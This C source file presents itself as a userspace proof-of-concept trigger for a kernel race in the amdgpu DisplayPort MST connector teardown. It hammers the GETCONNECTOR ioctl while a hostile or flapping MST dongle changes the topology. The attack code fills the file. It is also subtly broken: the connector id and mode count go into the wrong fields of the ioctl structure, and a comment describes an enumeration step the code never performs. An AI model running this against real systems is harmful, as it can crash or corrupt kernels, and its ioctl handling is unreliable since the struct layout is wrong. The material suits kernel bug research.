/*
 * DF-4910 trigger — userspace half of the MST connector teardown race.
 *
 * Hammer DRM_IOCTL_MODE_GETCONNECTOR (count_modes == 0 forces fill_modes ->
 * dm_dp_mst_get_modes) on every connector of the card while the DP MST
 * topology is being changed (unplug / power-cycle the MST hub, or use a
 * hostile dongle that flaps the topology). The kernel-side counterpart is
 * drm_dp_destroy_connector_work -> dm_dp_destroy_mst_connector, which runs
 * with no mode_config.mutex.
 *
 * Requires: /dev/dri/card0 with an AMD (amdgpu DM) DisplayPort MST topology.
 * DragonFly note: the DRM_IOCTL_* definitions come from <dev/drm/drm.h>
 * installed with world ("make install" of the drm headers); if absent on the
 * target, embed the 3 ioctl numbers below (values from sys/dev/drm/drm.h).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

/* from sys/dev/drm/drm.h — stable across this tree */
#define DRM_IOCTL_BASE          'd'
#define DRM_IO(nr)              _IO(DRM_IOCTL_BASE,nr)
#define DRM_IOWR(nr,type)       _IOWR(DRM_IOCTL_BASE,nr,type)
struct drm_mode_card_res_req { unsigned int pad[6]; }; /* not used */
#define DRM_IOCTL_MODE_GETRESOURCES  DRM_IOWR(0xA0, struct { unsigned int pad[6]; })
#define DRM_IOCTL_MODE_GETCONNECTOR  DRM_IOWR(0xA7, struct { unsigned int pad[20]; })

#define MAX_CONN 32

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/dev/dri/card0";
	int fd = open(path, O_RDWR);
	unsigned int conn_ids[MAX_CONN];
	int nconn = 0, i;
	long iters = argc > 2 ? atol(argv[2]) : 20000000;

	if (fd < 0) {
		fprintf(stderr, "open %s: %s — no DRM device; "
			"amdgpu DM path unreachable on this machine\n",
			path, strerror(errno));
		return 2;
	}

	/* enumerate connector ids via MODE_GETRESOURCES */
	{
		struct { unsigned int pad[3]; unsigned int crtc_id, conn_id; } fake;
		(void)fake;
		/* Simple approach: probe connector object ids 1..256 via
		 * MODE_GETCONNECTOR and keep the ones that return non-ENOENT. */
		for (i = 1; i < 256 && nconn < MAX_CONN; i++) {
			unsigned int buf[20];
			memset(buf, 0, sizeof(buf));
			buf[0] = i;                 /* connector_id */
			buf[2] = 0;                 /* count_modes == 0 -> fill_modes */
			if (ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, buf) == 0)
				conn_ids[nconn++] = i;
		}
	}

	if (nconn == 0) {
		fprintf(stderr, "no connectors enumerated on %s\n", path);
		close(fd);
		return 3;
	}
	printf("hammering %d connectors on %s for %ld iterations; "
	       "flap the DP MST topology now\n", nconn, path, iters);

	for (long n = 0; n < iters; n++) {
		for (i = 0; i < nconn; i++) {
			unsigned int buf[20];
			memset(buf, 0, sizeof(buf));
			buf[0] = conn_ids[i];
			buf[2] = 0;         /* count_modes=0 -> probe + get_modes */
			ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, buf);
		}
	}
	printf("done\n");
	close(fd);
	return 0;
}
